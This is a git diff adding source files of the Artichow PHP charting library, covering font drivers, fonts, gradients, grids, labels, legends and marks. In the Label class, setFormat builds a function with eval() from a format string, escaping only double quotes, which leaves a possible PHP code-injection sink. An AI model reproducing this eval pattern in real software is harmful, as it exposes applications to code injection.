awPHPFontDriver extends awFontDriver { + + public function __construct() { + parent::__construct(); + } + + public function string(awDriver $driver, awText $text, awPoint $point, $width = NULL) { + + switch ($driver->getDriverString()) { + case 'gd': + $this->gdString($driver, $text, $point, $width); + break; + + default: + awImage::drawError('Class PHPFontDriver: Incompatibility between driver and font - You should never see this error message: have you called awDriver::isCompatibleWithFont() properly?'); + break; + + } + } + + /** + * Draw a string onto a GDDriver object + * + * @param awGDDriver $driver The GDDriver to draw the text upon + * @param awText $text The awText object containing the string to draw + * @param awPoint $point Where to draw the text + * @param float $width The width of the text + */ + private function gdString(awGDDriver $driver, awText $text, awPoint $point, $width = NULL) { + + $angle = $text->getAngle(); + if($angle !== 90 and $angle !== 0) { + awImage::drawError("Class PHPFontDriver: You can only use 0° and 90° angles."); + } + + if($angle === 90) { + $function = 'imagestringup'; + $addAngle = $this->getGDTextHeight($text); + } else { + $function = 'imagestring'; + $addAngle = 0; + } + + $color = $text->getColor(); + $rgb = $driver->getColor($color); + + $textString = $text->getText(); + $textString = str_replace("\r", "", $textString); + + $textHeight = $this->getGDTextHeight($text); + + // Split text if needed + if($width !== NULL) { + + $characters = floor($width / ($this->getGDTextWidth($text) / strlen($textString))); + + if($characters > 0) { + $textString = wordwrap($textString, $characters, "\n", TRUE); + } + + } + + $font = $text->getFont(); + $lines = explode("\n", $textString); + + foreach($lines as $i => $line) { + + // Line position handling + if($angle === 90) { + $addX = $i * $textHeight; + $addY = 0; + } else { + $addX = 0; + $addY = $i * $textHeight; + } + + $function( + $driver->resource, + $font->font, + $driver->x + $point->x + $addX, + $driver->y + $point->y + $addY + $addAngle, + $line, + $rgb + ); + + } + } + + public function getTextWidth(awText $text, awDriver $driver) { + + switch ($driver->getDriverString()) { + case 'gd': + return $this->getGDTextWidth($text); + + default: + awImage::drawError('Class PHPFontDriver: Cannot get text width - incompatibility between driver and font'); + break; + } + + } + + public function getTextHeight(awText $text, awDriver $driver) { + + switch ($driver->getDriverString()) { + case 'gd': + return $this->getGDTextHeight($text); + + default: + awImage::drawError('Class PHPFontDriver: Cannot get text height - incompatibility between driver and font'); + break; + } + + } + + /** + * Return the width of a text for a GDDriver + * + * @param awText $text + * @return int $fontWidth + */ + private function getGDTextWidth(awText $text) { + $font = $text->getFont(); + + if($text->getAngle() === 90) { + $text->setAngle(45); + return $this->getGDTextHeight($text); + } else if($text->getAngle() === 45) { + $text->setAngle(90); + } + + $fontWidth = imagefontwidth($font->font); + + if($fontWidth === FALSE) { + awImage::drawError("Class PHPFontDriver: Unable to get font size."); + } + + return (int)$fontWidth * strlen($text->getText()); + } + + /** + * Return the height of a text for a GDDriver + * + * @param awText $text + * @return int $fontHeight + */ + private function getGDTextHeight(awText $text) { + $font = $text->getFont(); + + if($text->getAngle() === 90) { + $text->setAngle(45); + return $this->getGDTextWidth($text); + } else if($text->getAngle() === 45) { + $text->setAngle(90); + } + + $fontHeight = imagefontheight($font->font); + + if($fontHeight === FALSE) { + awImage::drawError("Class PHPFontDriver: Unable to get font size."); + } + + return (int)$fontHeight; + } +} + +registerClass('PHPFontDriver'); + +/** + * Class to handle calculations on FileFont objects + * + * @package Artichow + */ +class awFileFontDriver extends awFontDriver { + + public function __construct() { + parent::__construct(); + } + + public function string(awDriver $driver, awText $text, awPoint $point, $width = NULL) { + + switch ($driver->getDriverString()) { + case 'gd': + $this->gdString($driver, $text, $point, $width); + break; + + default: + awImage::drawError('Class fileFontDriver: Incompatibility between driver and font - You should never see this error message: have you called awDriver::isCompatibleWithFont() properly?'); + break; + } + } + + /** + * Draw an awFileFont object on a GD ressource + * + * @param awGDDriver $driver The awGDDriver object containing the ressource to draw upon + * @param awText $text The awText object containing the string to draw + * @param awPoint $point Where to draw the string from + * @param float $width The width of the area containing the text + */ + private function gdString(awGDDriver $driver, awText $text, awPoint $point, $width = NULL) { + // Make easier font positionment + $text->setText($text->getText()." "); + + $font = $text->getFont(); + if($font instanceof awTTFFont === FALSE and $font->getExtension() === NULL) { + $font->setExtension('ttf'); + } + + $filePath = $font->getName().'.'.$font->getExtension(); + + $box = imagettfbbox($font->getSize(), $text->getAngle(), $filePath, $text->getText()); + $textHeight = - $box[5]; + + $box = imagettfbbox($font->getSize(), 90, $filePath, $text->getText()); + $textWidth = abs($box[6] - $box[2]); + + // Restore old text + $text->setText(substr($text->getText(), 0, strlen($text->getText()) - 1)); + + $textString = $text->getText(); + + // Split text if needed + if($width !== NULL) { + + $characters = floor($width / $this->getGDAverageWidth($font)); + $textString = wordwrap($textString, $characters, "\n", TRUE); + + } + + $color = $text->getColor(); + $rgb = $driver->getColor($color); + + imagettftext( + $driver->resource, + $font->getSize(), + $text->getAngle(), + $driver->x + $point->x + $textWidth * sin($text->getAngle() / 180 * M_PI), + $driver->y + $point->y + $textHeight, + $rgb, + $filePath, + $textString + ); + } + + public function getTextWidth(awText $text, awDriver $driver) { + switch ($driver->getDriverString()) { + case 'gd': + return $this->getGDTextWidth($text); + + default: + awImage::drawError('Class FileFontDriver: Cannot get text width - incompatibility between driver and font'); + break; + } + } + + public function getTextHeight(awText $text, awDriver $driver) { + switch ($driver->getDriverString()) { + case 'gd': + return $this->getGDTextHeight($text); + + default: + awImage::drawError('Class FileFontDriver: Cannot get text height - incompatibility between driver and font'); + break; + } + } + + private function getGDTextWidth(awText $text) { + $font = $text->getFont(); + if($font->getExtension() === NULL) { + $font->setExtension('ttf'); + } + + $filePath = $font->getName().'.'.$font->getExtension(); + + $box = imagettfbbox($font->getSize(), $text->getAngle(), $filePath, $text->getText()); + + if($box === FALSE) { + awImage::drawError("Class FileFontDriver: Unable to get font width (GD)."); + } + + list(, , $x2, , , , $x1, ) = $box; + + return abs($x2 - $x1); + } + + private function getGDTextHeight(awText $text) { + $font = $text->getFont(); + if($font->getExtension() === NULL) { + $font->setExtension('ttf'); + } + + $filePath = $font->getName().'.'.$font->getExtension(); + + $box = imagettfbbox($font->getSize(), $text->getAngle(), $filePath, $text->getText()); + + if($box === FALSE) { + awImage::drawError("Class FileFontDriver: Unable to get font height (GD)."); + } + + list(, , , $y2, , , , $y1) = $box; + + return abs($y2 - $y1); + } + + private function getGDAverageWidth(awFileFont $font) { + + $text = "azertyuiopqsdfghjklmmmmmmmwxcvbbbn,;:!?."; + + $box = imagettfbbox($font->getSize(), 0, $font->getName().'.'.$font->getExtension(), $text); + + if($box === FALSE) { + awImage::drawError("Class FileFontDriver: Unable to get font average width."); + } + + list(, , $x2, $y2, , , $x1, $y1) = $box; + + return abs($x2 - $x1) / strlen($text); + + } + +} + +registerClass('FileFontDriver'); + +// Include ARTICHOW_DRIVER by default to preserve backward compatibility. +require_once dirname(__FILE__).'/drivers/'.ARTICHOW_DRIVER.'.class.php'; + diff --git a/modules/graphartichow/artichow/inc/Font.class.php b/modules/graphartichow/artichow/inc/Font.class.php new file mode 100755 index 0000000..79267bd --- /dev/null +++ b/modules/graphartichow/artichow/inc/Font.class.php @@ -0,0 +1,262 @@ +string($this, $text, $point, $width); + + } + +} + +registerClass('Font', TRUE); + +/** + * Class for fonts that cannot be transformed, + * like the built-in PHP fonts for example. + * + * @package Artichow + */ +class awPHPFont extends awFont { + + /** + * The used font identifier + * + * @var int + */ + public $font; + + public function __construct($font = NULL) { + parent::__construct(); + + if($font !== NULL) { + $this->font = (int)$font; + } + } + +} + +registerClass('PHPFont'); + +/** + * Class for fonts that can be transformed (rotated, skewed, etc.), + * like TTF or FDB fonts for example. + * + * @package Artichow + */ +class awFileFont extends awFont { + + /** + * The name of the font, without the extension + * + * @var string + */ + protected $name; + + /** + * The size of the font + * + * @var int + */ + protected $size; + + /** + * The font filename extension + * + * @var string + */ + protected $extension; + + public function __construct($name, $size) { + parent::__construct(); + + $this->setName($name); + $this->setSize($size); + } + + /** + * Set the name of the font. The $name variable can contain the full path, + * or just the filename. Artichow will try to do The Right Thing, + * as well as set the extension property correctly if possible. + * + * @param string $name + */ + public function setName($name) { + $fontInfo = pathinfo((string)$name); + + if(strpos($fontInfo['dirname'], '/') !== 0) { + // Path is not absolute, use ARTICHOW_FONT + $name = ARTICHOW_FONT.DIRECTORY_SEPARATOR.$fontInfo['basename']; + $fontInfo = pathinfo($name); + } + + $this->name = $fontInfo['dirname'].DIRECTORY_SEPARATOR.$fontInfo['basename']; + + if(array_key_exists('extension', $fontInfo) and $fontInfo['extension'] !== '') { + $this->setExtension($fontInfo['extension']); + } + } + + /** + * Return the name of the font, i.e. the absolute path and the filename, without the extension. + * + * @return string + */ + public function getName() { + return $this->name; + } + + /** + * Set the size of the font, in pixels + * + * @param int $size + */ + public function setSize($size) { + $this->size = (int)$size; + } + + /** + * Return the size of the font, in pixels + * + * @return int + */ + public function getSize() { + return $this->size; + } + + /** + * Set the extension, without the dot + * + * @param string $extension + */ + public function setExtension($extension) { + $this->extension = (string)$extension; + } + + /** + * Get the filename extension for that font + * + * @return string + */ + public function getExtension() { + return $this->extension; + } + +} + +registerClass('FileFont'); + +/** + * Class representing TTF fonts + * + * @package Artichow + */ +class awTTFFont extends awFileFont { + + public function __construct($name, $size) { + parent::__construct($name, $size); + + if($this->getExtension() === NULL) { + $this->setExtension('ttf'); + } + } + +} + +registerClass('TTFFont'); + + + +$php = ''; + +for($i = 1; $i <= 5; $i++) { + + $php .= ' + class awFont'.$i.' extends awPHPFont { + + public function __construct() { + parent::__construct('.$i.'); + } + + } + '; + + if(ARTICHOW_PREFIX !== 'aw') { + $php .= ' + class '.ARTICHOW_PREFIX.'Font'.$i.' extends awFont'.$i.' { + } + '; + } + +} + +eval($php); + +$php = ''; + +foreach($fonts as $font) { + + $php .= ' + class aw'.$font.' extends awFileFont { + + public function __construct($size) { + parent::__construct(\''.$font.'\', $size); + } + + } + '; + + if(ARTICHOW_PREFIX !== 'aw') { + $php .= ' + class '.ARTICHOW_PREFIX.$font.' extends aw'.$font.' { + } + '; + } + +} + +eval($php); + + + +/* + * Environment modification for GD2 and TTF fonts + */ +if(function_exists('putenv')) { + putenv('GDFONTPATH='.ARTICHOW_FONT); +} + diff --git a/modules/graphartichow/artichow/inc/Gradient.class.php b/modules/graphartichow/artichow/inc/Gradient.class.php new file mode 100755 index 0000000..d9d95ed --- /dev/null +++ b/modules/graphartichow/artichow/inc/Gradient.class.php @@ -0,0 +1,135 @@ +from = $from; + $this->to = $to; + + } + +} + +registerClass('Gradient', TRUE); + + +/** + * Create a linear gradient + * + * @package Artichow + */ +class awLinearGradient extends awGradient { + + /** + * Gradient angle + * + * @var int + */ + public $angle; + + /** + * Build the linear gradient + * + * @param awColor $from From color + * @param awColor $to To color + * @param int $angle Gradient angle + */ + public function __construct($from, $to, $angle) { + + parent::__construct( + $from, $to + ); + + $this->angle = (int)$angle; + + } + +} + +registerClass('LinearGradient'); + + +/** + * Create a bilinear gradient + * + * @package Artichow + */ +class awBilinearGradient extends awLinearGradient { + + /** + * Gradient center + * + * @var float Center between 0 and 1 + */ + public $center; + + /** + * Build the bilinear gradient + * + * @param awColor $from From color + * @param awColor $to To color + * @param int $angle Gradient angle + * @param int $center Gradient center + */ + public function __construct($from, $to, $angle, $center = 0.5) { + + parent::__construct( + $from, $to, $angle + ); + + $this->center = (float)$center; + + } + +} + +registerClass('BilinearGradient'); + +/** + * Create a radial gradient + * + * @package Artichow + */ +class awRadialGradient extends awGradient { + +} + +registerClass('RadialGradient'); + diff --git a/modules/graphartichow/artichow/inc/Grid.class.php b/modules/graphartichow/artichow/inc/Grid.class.php new file mode 100755 index 0000000..2b02a53 --- /dev/null +++ b/modules/graphartichow/artichow/inc/Grid.class.php @@ -0,0 +1,290 @@ +color = new awColor(210, 210, 210); + $this->background = new awColor(255, 255, 255, 100); + + } + + /** + * Hide grid ? + * + * @param bool $hide + */ + public function hide($hide = TRUE) { + $this->hide = (bool)$hide; + } + + /** + * Hide horizontal lines ? + * + * @param bool $hideHorizontal + */ + public function hideHorizontal($hide = TRUE) { + $this->hideHorizontal = (bool)$hide; + } + + /** + * Hide vertical lines ? + * + * @param bool $hideVertical + */ + public function hideVertical($hide = TRUE) { + $this->hideVertical = (bool)$hide; + } + + /** + * Change grid color + * + * @param awColor $color + */ + public function setColor(awColor $color) { + $this->color = $color; + } + + /** + * Remove grid background + */ + public function setNoBackground() { + $this->background = NULL; + } + + /** + * Change grid background color + * + * @param awColor $color + */ + public function setBackgroundColor(awColor $color) { + $this->background = $color; + } + + /** + * Change line type + * + * @param int $type + */ + public function setType($type) { + $this->type = (int)$type; + } + + /** + * Change grid interval + * + * @param int $hInterval + * @param int $vInterval + */ + public function setInterval($hInterval, $vInterval) { + $this->interval = array((int)$hInterval, (int)$vInterval); + } + + /** + * Set grid space + * + * @param int $left Left space in pixels + * @param int $right Right space in pixels + * @param int $top Top space in pixels + * @param int $bottom Bottom space in pixels + */ + public function setSpace($left, $right, $top, $bottom) { + $this->space = array((int)$left, (int)$right, (int)$top, (int)$bottom); + } + + /** + * Change the current grid + * + * @param array $xgrid Vertical lines + * @param array $ygrid Horizontal lines + */ + public function setGrid($xgrid, $ygrid) { + + if(empty($this->xgrid)) { + $this->xgrid = $xgrid; + } + if(empty($this->ygrid)) { + $this->ygrid = $ygrid; + } + + } + + /** + * Draw grids + * + * @param awDriver $driver A driver object + * @param int $x1 + * @param int $y1 + * @param int $x2 + * @param int $y2 + */ + public function draw(awDriver $driver, $x1, $y1, $x2, $y2) { + + if($this->background instanceof awColor) { + + // Draw background color + $driver->filledRectangle( + $this->background, + awLine::build($x1, $y1, $x2, $y2) + ); + + } + + if($this->hide === FALSE) { + + $this->drawGrid( + $driver, + $this->color, + $this->hideVertical ? array() : $this->xgrid, + $this->hideHorizontal ? array() : $this->ygrid, + $x1, $y1, $x2, $y2, + $this->type, + $this->space, + $this->interval[0], + $this->interval[1] + ); + + } + + } + + private function drawGrid( + awDriver $driver, awColor $color, + $nx, $ny, $x1, $y1, $x2, $y2, + $type, $space, $hInterval, $vInterval + ) { + + list($left, $right, $top, $bottom) = $space; + + $width = $x2 - $x1 - $left - $right; + $height = $y2 - $y1 - $top - $bottom; + + foreach($nx as $key => $n) { + + if(($key % $vInterval) === 0) { + + $pos = (int)round($x1 + $left + $n * $width); + $driver->line( + $color, + new awLine( + new awPoint($pos, $y1), + new awPoint($pos, $y2), + $type + ) + ); + + } + + } + + foreach($ny as $key => $n) { + + if(($key % $hInterval) === 0) { + + $pos = (int)round($y1 + $top + $n * $height); + $driver->line( + $color, + new awLine( + new awPoint($x1, $pos), + new awPoint($x2, $pos), + $type + ) + ); + + } + + } + + } + +} + +registerClass('Grid'); diff --git a/modules/graphartichow/artichow/inc/Label.class.php b/modules/graphartichow/artichow/inc/Label.class.php new file mode 100755 index 0000000..43bbae5 --- /dev/null +++ b/modules/graphartichow/artichow/inc/Label.class.php @@ -0,0 +1,587 @@ +set($label); + } else if(is_string($label)) { + $this->set(array($label)); + } + + if($font === NULL) { + $font = new awFont2; + } + + $this->setFont($font); + $this->setAngle($angle); + + if($color instanceof awColor) { + $this->setColor($color); + } else { + $this->setColor(new awColor(0, 0, 0)); + } + + $this->move = new awPoint(0, 0); + + $this->border = new awBorder; + $this->border->hide(); + + } + + /** + * Get an element of the label from its key + * + * @param int $key Element key + * @return string A value + */ + public function get($key) { + return array_key_exists($key, $this->texts) ? $this->texts[$key] : NULL; + } + + /** + * Get all labels + * + * @return array + */ + public function all() { + return $this->texts; + } + + /** + * Set one or several labels + * + * @param array $labels Array of string or a string + */ + public function set($labels) { + + if(is_array($labels)) { + $this->texts = $labels; + } else { + $this->texts = array((string)$labels); + } + + } + + /** + * Count number of texts in the label + * + * @return int + */ + public function count() { + return is_array($this->texts) ? count($this->texts) : 0; + } + + /** + * Set a callback function for labels + * + * @param string $function + */ + public function setCallbackFunction($function) { + $this->function = is_null($function) ? $function : (string)$function; + } + + /** + * Return the callback function for labels + * + * @return string + */ + public function getCallbackFunction() { + return $this->function; + } + + /** + * Change labels format + * + * @param string $format New format (printf style: %.2f for example) + */ + public function setFormat($format) { + $function = 'label'.time().'_'.(microtime() * 1000000); + eval('function '.$function.'($value) { + return sprintf("'.addcslashes($format, '"').'", $value); + }'); + $this->setCallbackFunction($function); + } + + /** + * Change font for label + * + * @param awFont $font New font + * @param awColor $color Font color (can be NULL) + */ + public function setFont(awFont $font, $color = NULL) { + $this->font = $font; + if($color instanceof awColor) { + $this->setColor($color); + } + } + + /** + * Change font angle + * + * @param int $angle New angle + */ + public function setAngle($angle) { + $this->angle = (int)$angle; + } + + /** + * Change font color + * + * @param awColor $color + */ + public function setColor(awColor $color) { + $this->color = $color; + } + + /** + * Change text background + * + * @param mixed $background + */ + public function setBackground($background) { + $this->background = $background; + } + + /** + * Change text background color + * + * @param Color + */ + public function setBackgroundColor(awColor $color) { + $this->background = $color; + } + + /** + * Change text background gradient + * + * @param Gradient + */ + public function setBackgroundGradient(awGradient $gradient) { + $this->background = $gradient; + } + + /** + * Change padding + * + * @param int $left Left padding + * @param int $right Right padding + * @param int $top Top padding + * @param int $bottom Bottom padding + */ + public function setPadding($left, $right, $top, $bottom) { + $this->padding = array((int)$left, (int)$right, (int)$top, (int)$bottom); + } + + /** + * Hide all labels ? + * + * @param bool $hide + */ + public function hide($hide = TRUE) { + $this->hide = (bool)$hide; + } + + /** + * Show all labels ? + * + * @param bool $show + */ + public function show($show = TRUE) { + $this->hide = (bool)!$show; + } + + /** + * Hide a key + * + * @param int $key The key to hide + */ + public function hideKey($key) { + $this->hideKey[$key] = TRUE; + } + + /** + * Hide a value + * + * @param int $value The value to hide + */ + public function hideValue($value) { + $this->hideValue[] = $value; + } + + /** + * Hide first label + * + * @param bool $hide + */ + public function hideFirst($hide) { + $this->hideFirst = (bool)$hide; + } + + /** + * Hide last label + * + * @param bool $hide + */ + public function hideLast($hide) { + $this->hideLast = (bool)$hide; + } + + /** + * Set label interval + * + * @param int + */ + public function setInterval($interval) { + + $this->interval = (int)$interval; + + } + + /** + * Change label position + * + * @param int $x Add this interval to X coord + * @param int $y Add this interval to Y coord + */ + public function move($x, $y) { + + $this->move = $this->move->move($x, $y); + + } + + /** + * Change alignment + * + * @param int $h Horizontal alignment + * @param int $v Vertical alignment + */ + public function setAlign($h = NULL, $v = NULL) { + if($h !== NULL) { + $this->hAlign = (int)$h; + } + if($v !== NULL) { + $this->vAlign = (int)$v; + } + } + + /** + * Get a text from the labele + * + * @param mixed $key Key in the array text + * @return Text + */ + public function getText($key) { + + if(is_array($this->texts) and array_key_exists($key, $this->texts)) { + + $value = $this->texts[$key]; + + if(is_string($this->function)) { + $value = call_user_func($this->function, $value); + } + + $text = new awText($value); + $text->setFont($this->font); + $text->setAngle($this->angle); + $text->setColor($this->color); + + if($this->background instanceof awColor) { + $text->setBackgroundColor($this->background); + } else if($this->background instanceof awGradient) { + $text->setBackgroundGradient($this->background); + } + + $text->border = $this->border; + + if($this->padding !== NULL) { + call_user_func_array(array($text, 'setPadding'), $this->padding); + } + + return $text; + + } else { + return NULL; + } + + } + + /** + * Get max width of all texts + * + * @param awDriver $driver A driver + * @return int + */ + public function getMaxWidth(awDriver $driver) { + + return $this->getMax($driver, 'getTextWidth'); + + } + + /** + * Get max height of all texts + * + * @param awDriver $driver A driver + * @return int + */ + public function getMaxHeight(awDriver $driver) { + + return $this->getMax($driver, 'getTextHeight'); + + } + + /** + * Draw the label + * + * @param awDriver $driver + * @param awPoint $p Label center + * @param int $key Text position in the array of texts (default to zero) + */ + public function draw(awDriver $driver, awPoint $p, $key = 0) { + + if(($key % $this->interval) !== 0) { + return; + } + + // Hide all labels + if($this->hide) { + return; + } + + // Key is hidden + if(array_key_exists($key, $this->hideKey)) { + return; + } + + // Hide first label + if($key === 0 and $this->hideFirst) { + return; + } + + // Hide last label + if($key === count($this->texts) - 1 and $this->hideLast) { + return; + } + + $text = $this->getText($key); + + if($text !== NULL) { + + // Value must be hidden + if(in_array($text->getText(), $this->hideValue)) { + return; + } + + $x = $p->x; + $y = $p->y; + + // Get padding + list($left, $right, $top, $bottom) = $text->getPadding(); + +// $font = $text->getFont(); + $width = $driver->getTextWidth($text); + $height = $driver->getTextHeight($text); + + switch($this->hAlign) { + + case awLabel::RIGHT : + $x -= ($width + $right); + break; + + case awLabel::CENTER : + $x -= ($width - $left + $right) / 2; + break; + + case awLabel::LEFT : + $x += $left; + break; + + } + + switch($this->vAlign) { + + case awLabel::TOP : + $y -= ($height + $bottom); + break; + + case awLabel::MIDDLE : + $y -= ($height - $top + $bottom) / 2; + break; + + case awLabel::BOTTOM : + $y += $top; + break; + + } + + $driver->string($text, $this->move->move($x, $y)); + + } + + } + + protected function getMax(awDriver $driver, $function) { + + $max = NULL; + + foreach($this->texts as $key => $text) { + + $text = $this->getText($key); + $font = $text->getFont(); + + if(is_null($max)) { + $max = $font->{$function}($text); + } else { + $max = max($max, $font->{$function}($text)); + } + + } + + return $max; + + } + +} + +registerClass('Label'); diff --git a/modules/graphartichow/artichow/inc/Legend.class.php b/modules/graphartichow/artichow/inc/Legend.class.php new file mode 100755 index 0000000..bbfd64a --- /dev/null +++ b/modules/graphartichow/artichow/inc/Legend.class.php @@ -0,0 +1,709 @@ +shadow = new awShadow(awShadow::LEFT_BOTTOM); + $this->border = new awBorder; + + $this->textMargin = new awSide(4); + $this->setModel($model); + + } + + /** + * Set a predefined model for the legend + * + * @param int $model + */ + public function setModel($model) { + + $this->setBackgroundColor(new awColor(255, 255, 255, 15)); + $this->setPadding(8, 8, 8, 8); + $this->setTextFont(new awFont2); + $this->shadow->setSize(3); + + switch($model) { + + case awLegend::MODEL_RIGHT : + + $this->setColumns(1); + $this->setAlign(awLegend::RIGHT, awLegend::MIDDLE); + $this->setPosition(0.96, 0.50); + + break; + + case awLegend::MODEL_BOTTOM : + + $this->setRows(1); + $this->setAlign(awLegend::CENTER, awLegend::TOP); + $this->setPosition(0.50, 0.92); + + break; + + default : + + $this->setPosition(0.5, 0.5); + + break; + + } + + } + + /** + * Hide legend ? + * + * @param bool $hide TRUE to hide legend, FALSE otherwise + */ + public function hide($hide = TRUE) { + $this->hide = (bool)$hide; + } + + /** + * Show legend ? + * + * @param bool $show + */ + public function show($show = TRUE) { + $this->hide = (bool)!$show; + } + + + /** + * Add a Legendable object to the legend + * + * @param awLegendable $legendable + * @param string $title Legend title + * @param int $type Legend type (default to awLegend::LINE) + */ + public function add(awLegendable $legendable, $title, $type = awLegend::LINE) { + + $legend = array($legendable, $title, $type); + + $this->legends[] = $legend; + + } + + /** + * Change legend padding + * + * @param int $left + * @param int $right + * @param int $top + * @param int $bottom + */ + public function setPadding($left, $right, $top, $bottom) { + $this->padding = array((int)$left, (int)$right, (int)$top, (int)$bottom); + } + + /** + * Change space between each legend + * + * @param int $space + */ + public function setSpace($space) { + $this->space = (int)$space; + } + + /** + * Change alignment + * + * @param int $h Horizontal alignment + * @param int $v Vertical alignment + */ + public function setAlign($h = NULL, $v = NULL) { + if($h !== NULL) { + $this->hAlign = (int)$h; + } + if($v !== NULL) { + $this->vAlign = (int)$v; + } + } + + /** + * Change number of columns + * + * @param int $columns + */ + public function setColumns($columns) { + $this->rows = NULL; + $this->columns = (int)$columns; + } + + /** + * Change number of rows + * + * @param int $rows + */ + public function setRows($rows) { + $this->columns = NULL; + $this->rows = (int)$rows; + } + + /** + * Change legend position + * X and Y positions must be between 0 and 1. + * + * @param float $x + * @param float $y + */ + public function setPosition($x = NULL, $y = NULL) { + $x = (is_null($x) and !is_null($this->position)) ? $this->position->x : $x; + $y = (is_null($y) and !is_null($this->position)) ? $this->position->y : $y; + + $this->position = new awPoint($x, $y); + } + + /** + * Get legend position + * + * @return Point + */ + public function getPosition() { + return $this->position; + } + + /** + * Change text font + * + * @param awFont $font + */ + public function setTextFont(awFont $font) { + $this->textFont = $font; + } + + /** + * Change text margin + * + * @param int $left + * @param int $right + */ + public function setTextMargin($left, $right) { + $this->textMargin->set($left, $right); + } + + /** + * Change text color + * + * @param awColor $color + */ + public function setTextColor(awColor $color) { + $this->textColor = $color; + } + + /** + * Change background + * + * @param mixed $background + */ + public function setBackground($background) { + $this->background = $background; + } + + /** + * Change background color + * + * @param awColor $color + */ + public function setBackgroundColor(awColor $color) { + $this->background = $color; + } + + /** + * Change background gradient + * + * @param awGradient $gradient + */ + public function setBackgroundGradient(awGradient $gradient) { + $this->background = $gradient; + } + + /** + * Count the number of Legendable objects in the legend + * + * @return int + */ + public function count() { + return count($this->legends); + } + + public function draw(awDriver $driver) { + + if($this->hide) { + return; + } + + $count = $this->count(); + + // No legend to print + if($count === 0) { + return; + } + + // Get text widths and heights of each element of the legend + $widths = array(); + $heights = array(); + $texts = array(); + for($i = 0; $i < $count; $i++) { + list(, $title, ) = $this->legends[$i]; + $text = new awText( + $title, + $this->textFont, + $this->textColor, + 0 + ); +// $font = $text->getFont(); + $widths[$i] = $driver->getTextWidth($text) + $this->textMargin->left + $this->textMargin->right; + $heights[$i] = $driver->getTextHeight($text); + $texts[$i] = $text; + } + + // Maximum height of the font used + $heightMax = array_max($heights); + + // Get number of columns + if($this->columns !== NULL) { + $columns = $this->columns; + } else if($this->rows !== NULL) { + $columns = ceil($count / $this->rows); + } else { + $columns = $count; + } + + // Number of rows + $rows = (int)ceil($count / $columns); + + // Get maximum with of each column + $widthMax = array(); + for($i = 0; $i < $count; $i++) { + // Get column width + $column = $i % $columns; + if(array_key_exists($column, $widthMax) === FALSE) { + $widthMax[$column] = $widths[$i]; + } else { + $widthMax[$column] = max($widthMax[$column], $widths[$i]); + } + } + + $width = $this->padding[0] + $this->padding[1] - $this->space; + for($i = 0; $i < $columns; $i++) { + $width += $this->space + 5 + 10 + $widthMax[$i]; + } + + $height = ($heightMax + $this->space) * $rows - $this->space + $this->padding[2] + $this->padding[3]; + + // Look for legends position + list($x, $y) = $driver->getSize(); + + $p = new awPoint( + $this->position->x * $x, + $this->position->y * $y + ); + + switch($this->hAlign) { + + case awLegend::CENTER : + $p->x -= $width / 2; + break; + + case awLegend::RIGHT : + $p->x -= $width; + break; + + } + + switch($this->vAlign) { + + case awLegend::MIDDLE : + $p->y -= $height / 2; + break; + + case awLegend::BOTTOM : + $p->y -= $height; + break; + + } + + // Draw legend shadow + $this->shadow->draw( + $driver, + $p, + $p->move($width, $height), + awShadow::OUT + ); + + // Draw legends base + $this->drawBase($driver, $p, $width, $height); + + // Draw each legend + for($i = 0; $i < $count; $i++) { + + list($component, $title, $type) = $this->legends[$i]; + + $column = $i % $columns; + $row = (int)floor($i / $columns); + + // Get width of all previous columns + $previousColumns = 0; + for($j = 0; $j < $column; $j++) { + $previousColumns += $this->space + 10 + 5 + $widthMax[$j]; + } + + // Draw legend text + $driver->string( + $texts[$i], + $p->move( + $this->padding[0] + $previousColumns + 10 + 5 + $this->textMargin->left, + $this->padding[2] + $row * ($heightMax + $this->space) + $heightMax / 2 - $heights[$i] / 2 + ) + ); + + // Draw legend icon + switch($type) { + + case awLegend::LINE : + case awLegend::MARK : + case awLegend::MARKONLY : + + // Get vertical position + $x = $this->padding[0] + $previousColumns; + $y = $this->padding[2] + $row * ($heightMax + $this->space) + $heightMax / 2 - $component->getLegendLineThickness(); + + // Draw two lines + if($component->getLegendLineColor() !== NULL) { + + $color = $component->getLegendLineColor(); + + if($color instanceof awColor and $type !== awLegend::MARKONLY) { + + $driver->line( + $color, + new awLine( + $p->move( + $x, // YaPB ?? + $y + $component->getLegendLineThickness() / 2 + ), + $p->move( + $x + 10, + $y + $component->getLegendLineThickness() / 2 + ), + $component->getLegendLineStyle(), + $component->getLegendLineThickness() + ) + ); + + unset($color); + + } + + } + + if($type === awLegend::MARK or $type === awLegend::MARKONLY) { + + $mark = $component->getLegendMark(); + + if($mark !== NULL) { + $mark->draw( + $driver, + $p->move( + $x + 5.5, + $y + $component->getLegendLineThickness() / 2 + ) + ); + } + + unset($mark); + + } + + break; + + case awLegend::BACKGROUND : + + // Get vertical position + $x = $this->padding[0] + $previousColumns; + $y = $this->padding[2] + $row * ($heightMax + $this->space) + $heightMax / 2 - 5; + + $from = $p->move( + $x, + $y + ); + + $to = $p->move( + $x + 10, + $y + 10 + ); + + $background = $component->getLegendBackground(); + + if($background !== NULL) { + + $driver->filledRectangle( + $component->getLegendBackground(), + new awLine($from, $to) + ); + + // Draw rectangle border + $this->border->rectangle( + $driver, + $from->move(0, 0), + $to->move(0, 0) + ); + + } + + unset($background, $from, $to); + + break; + + } + + } + + } + + private function drawBase(awDriver $driver, awPoint $p, $width, $height) { + + $this->border->rectangle( + $driver, + $p, + $p->move($width, $height) + ); + + $size = $this->border->visible() ? 1 : 0; + + $driver->filledRectangle( + $this->background, + new awLine( + $p->move($size, $size), + $p->move($width - $size, $height - $size) + ) + ); + + } + +} + +registerClass('Legend'); + +/** + * You can add a legend to components which implements this interface + * + * @package Artichow + */ +interface awLegendable { + + /** + * Get the line type + * + * @return int + */ + public function getLegendLineStyle(); + + /** + * Get the line thickness + * + * @return int + */ + public function getLegendLineThickness(); + + /** + * Get the color of line + * + * @return Color + */ + public function getLegendLineColor(); + + /** + * Get the background color or gradient of an element of the component + * + * @return Color, Gradient + */ + public function getLegendBackground(); + + /** + * Get a Mark object + * + * @return Mark + */ + public function getLegendMark(); + +} + +registerInterface('Legendable'); diff --git a/modules/graphartichow/artichow/inc/Mark.class.php b/modules/graphartichow/artichow/inc/Mark.class.php new file mode 100755 index 0000000..d89437f --- /dev/null +++ b/modules/graphartichow/artichow/inc/Mark.class.php @@ -0,0 +1,489 @@ +fill = new awColor(255, 0, 0, 0); + $this->border = new awBorder; + $this->border->hide(); + + $this->move = new awPoint(0, 0); + + } + + /** + * Change mark position + * + * @param int $x Add this interval to X coord + * @param int $y Add this interval to Y coord + */ + public function move($x, $y) { + + $this->move = $this->move->move($x, $y); + + } 